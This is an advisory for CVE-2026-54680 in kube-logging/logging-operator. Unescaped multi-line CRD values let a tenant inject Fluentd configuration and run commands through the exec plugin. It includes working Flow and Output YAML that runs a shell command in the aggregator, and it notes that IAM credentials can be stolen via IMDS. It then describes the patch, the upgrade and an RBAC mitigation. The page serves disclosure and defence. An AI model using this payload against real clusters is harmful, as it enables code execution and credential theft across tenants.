CVE-2026-54680: kube-logging/logging-operator Fluentd Configuration Injection RCE
A tenant who can create Flow resources in any watched namespace can inject arbitrary Fluentd configuration into the shared aggregator and execute commands inside it, because CRD values are written…

The problem
The Fluentd config renderer in pkg/sdk/logging/model/render/fluent.go writes every CRD-supplied string directly into fluent.conf as key value with no quoting or newline validation. Because indentedf builds lines with fmt.Sprintf and then splits on \n, a multi-line CRD value becomes multiple independent lines in the generated config file.
Any Kubernetes user who can create Flow resources in a namespace watched by the operator can close the current <record> and <filter> blocks and open a new <match **> block. Pointing that block at Fluentd's built-in @type exec plugin gives the attacker arbitrary command execution inside the Fluentd aggregator pod.
In cloud environments such as AWS EKS, this is enough to reach the node IMDS and steal IAM credentials.
Proof of concept
A working proof-of-concept for CVE-2026-54680 in github.com/kube-logging/logging-operator, with the exact payload below.
# output.yaml
apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
name: sink
namespace: tenant-a
spec:
nullout: {}
---
# flow.yaml
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: exfil
namespace: tenant-a
spec:
match:
- select: {}
filters:
- record_transformer:
records:
- x: |-
y
</record>
</filter>
<match **>
@type exec
command /bin/sh -c "id > /tmp/pwned"
<format>
@type json
</format>
<buffer>
flush_interval 1s
</buffer>
</match>
<filter dummy.**>
@type record_transformer
<record>
absorbed y
localOutputRefs:
- sinkThe record_transformer filter passes its Records map directly into Params without any validation or escaping. The renderer then formats each entry as a plain key value line and splits on newlines, so the injected </record> and </filter> tokens are treated as real config directives, closing the legitimate block early and opening an attacker-controlled <match **> block.
The dry-run config check (fluentd --dry-run) passes because the injected config is syntactically valid Fluentd. The patch (commit cf437d7f) now wraps parameter values that contain newlines in double-quoted strings with escape sequences, and rejects newlines in structural fields such as @type, @id, directive names, and tag patterns at render time, so the injection characters can never produce new config lines.
The fix
Upgrade to logging-operator 6.6.0 (or the Go module pseudo-version 0.0.0-20260608145523-cf437d7f1e05). The fix is in commit cf437d7f1e056c78740bf5716ac8bdebcf002425. If you cannot upgrade immediately, restrict RBAC so only fully-trusted users can create or modify Flow and Output resources in any namespace watched by the operator.
Related research
- high · 8.5TsDProxy X-Forwarded-For Header Injection Allows IP Spoofing
- critical · 9.9CVE-2026-52806CVE-2026-52806: Gogs RCE via git rebase --exec Argument Injection
- highnetfoil: Incorrect Block Response Sends Traffic to Localhost
- critical · 10CVE-2026-54735CVE-2026-54735: prebid-server Bidder Adapter Server-Side Request Forgery